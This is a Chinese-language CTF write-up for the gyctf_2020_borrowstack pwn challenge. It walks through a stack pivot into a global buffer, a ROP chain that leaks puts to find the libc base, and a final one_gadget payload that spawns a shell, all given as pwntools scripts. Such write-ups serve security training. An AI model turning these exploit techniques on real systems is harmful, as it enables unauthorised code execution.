main函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-60h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts(&s);
read(0, &buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL);
return 0;
}
read(0, &buf, 0x70uLL);处存在溢出,但是可利用的空间太小,所以可以把栈迁移到bank那里。
这道题需要把栈抬高否则离输入输出流太近了,或者使用eds师傅的return大法0.0。

最后的返回地址填的不是main函数的地址,而直接填入的0x400680,直接到达溢出点。
from pwn import *
from struct import pack
elf = ELF('./gyctf_2020_borrowstack')
local = 1
if local == 1:
io = process('./gyctf_2020_borrowstack')
gdb.attach(io,'b * 0x400680')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io = remote('node4.buuoj.cn',29939)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
leave_addr = 0x400699
bank = 0x0601080
payload1 = 'a'*0x60+p64(bank)+p64(leave_addr)
io.recvuntil("want\n")
io.send(payload1)
ret = 0x40069A
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_ret = 0x0000000000400703
payload2 = p64(bank)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x400680)
io.recvuntil("now!\n")
io.send(payload2)
puts_addr = u64(io.recvuntil("\x7f")[-6:]+'\x00\x00')
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base:'+hex(puts_addr))
io.sendline(cyclic(200))
io.interactive()
动调得到溢出点的距离为104

接下来使用one_gedget:

用第二个。最终的exp如下:
from pwn import *
from struct import pack
elf = ELF('./gyctf_2020_borrowstack')
local = 1
if local == 1:
io = process('./gyctf_2020_borrowstack')
#gdb.attach(io,'b * 0x400680')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io = remote('node4.buuoj.cn',29939)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
leave_addr = 0x400699
bank = 0x0601080
payload1 = 'a'*0x60+p64(bank)+p64(leave_addr)
io.recvuntil("want\n")
io.send(payload1)
ret = 0x40069A
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_ret = 0x0000000000400703
payload2 = p64(bank)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x400680)
io.recvuntil("now!\n")
io.send(payload2)
puts_addr = u64(io.recvuntil("\x7f")[-6:]+'\x00\x00')
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base:'+hex(puts_addr))
system_addr = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()
io.sendline(cyclic(104)+p64(libc_base + 0x4527a))
io.interactive()